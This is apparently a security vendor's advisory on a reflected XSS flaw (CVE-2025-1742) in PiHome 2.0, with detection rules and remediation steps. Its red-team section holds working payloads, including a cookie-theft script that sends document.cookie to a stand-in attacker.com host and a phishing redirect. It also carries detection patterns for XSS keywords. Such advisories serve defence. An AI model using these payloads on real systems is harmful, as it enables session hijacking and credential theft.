CVE-2025-1742
Executive Summary
CVE-2025-1742 is a reflected Cross-Site Scripting (XSS) vulnerability in PiHome 2.0, a smart home automation system developed by pihome-shc. The flaw resides in the /home.php endpoint, where the page_name parameter is insufficiently sanitized before being reflected in the response. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in the context of the PiHome application, potentially leading to session hijacking, credential theft, or unauthorized actions.
The vendor was contacted but did not respond, and no official patch exists. A public proof-of-concept (PoC) has been released, increasing the risk of exploitation. The CVSS score is 6.1 (Medium), but the lack of a patch and public exploit details elevate the real-world threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application (PiHome) running on a standard LAMP stack. No supply chain component is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – The vulnerable component and the impacted component are different (browser vs. application).
- Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The public PoC and lack of patch make this a realistic threat for unpatched PiHome instances.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the page_name parameter of /home.php. The application likely includes the value of page_name directly into the HTML response without proper encoding or sanitization. For example, the code might look like:
<?php
$page = $_GET['page_name'];
echo "<div class='page-content'>$page</div>";
?>
An attacker can inject arbitrary HTML/JavaScript by providing a payload such as:
/home.php?page_name=<script>alert('XSS')</script>
When the victim's browser renders the page, the script executes. This can be escalated to steal cookies, perform actions on behalf of the user, or redirect to phishing pages.
The attack is remote and requires no authentication, but user interaction (clicking a link) is necessary. The vulnerability is classified as problematic (CWE-79) and has been publicly disclosed.
Vulnerable vs. Patched Code
Vulnerable Code (PiHome 2.0):
<?php
$page_name = $_GET['page_name'];
echo "<h1>$page_name</h1>";
?>
Patched Code (Hypothetical):
<?php
$page_name = htmlspecialchars($_GET['page_name'], ENT_QUOTES, 'UTF-8');
echo "<h1>$page_name</h1>";
?>
The fix uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch exists, users must implement this manually or apply a WAF rule.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable PiHome 2.0 instance (e.g., Docker container or local VM).
- A web browser or curl.
Step 1: Basic XSS Test
curl "http://target/home.php?page_name=<script>alert('XSS')</script>"
If the alert box appears in a browser, the vulnerability is confirmed.
Step 2: Cookie Theft Payload
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
URL-encode the payload:
/home.php?page_name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
Step 3: Phishing Redirection
<script>window.location='http://attacker.com/fake-login'</script>
Blue Team (Defense & Detection)
WAF Rule (ModSecurity):
SecRule ARGS:page_name "@rx <script|onerror|onload|javascript:" "id:1001,phase:2,deny,status:403,msg:'XSS attempt blocked'"
Manual Verification:
- Review web server logs for requests to
/home.phpwith suspiciouspage_nameparameters. - Check for unexpected outbound connections from the PiHome server.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/home.phpcontaining<script>,onerror,onload, orjavascript:in thepage_nameparameter. - Outbound connections to unknown IPs/domains from the PiHome server (potential data exfiltration).
- HTTP requests to
- File IOCs:
- Modified
/home.phpfile (if attacker uploaded a webshell). - Suspicious entries in
/var/log/apache2/access.logor/var/log/nginx/access.log.
- Modified
- Behavioral IOCs:
- Unexpected admin actions (e.g., adding new users, changing settings).
- Alerts from WAF or IDS/IPS.
Detection Engineering
YARA Rule
rule CVE_2025_1742_XSS_Payload {
meta:
description = "Detects XSS payloads targeting PiHome /home.php page_name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1742"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-1742 XSS Attempt on PiHome
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against PiHome /home.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- "/home.php?page_name="
cs-uri-query|contains|all:
- "<script"
- "onerror"
- "onload"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in page names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1742 XSS Attempt on PiHome"; flow:to_server,established; content:"/home.php"; http_uri; content:"page_name="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Sanitization: Manually patch
/home.phpby addinghtmlspecialchars()to thepage_nameparameter. - WAF Rules: Deploy ModSecurity or a cloud WAF (e.g., Cloudflare) with rules to block XSS payloads.
- Content Security Policy (CSP): Add a CSP header to restrict script execution:
Header set Content-Security-Policy "default-src 'self'; script-src 'self'" - Disable Unused Features: If
/home.phpis not critical, restrict access via.htaccessor firewall.
Long-Term Recommendations:
- Upgrade: Monitor for an official patch from pihome-shc. If none appears, consider migrating to an alternative smart home platform.
- Code Audit: Perform a security review of the entire PiHome codebase for similar injection flaws.
- Network Segmentation: Isolate the PiHome server from the internet; use a VPN for remote access.
Valters IT
Securing your digital infrastructure, one CVE at a time.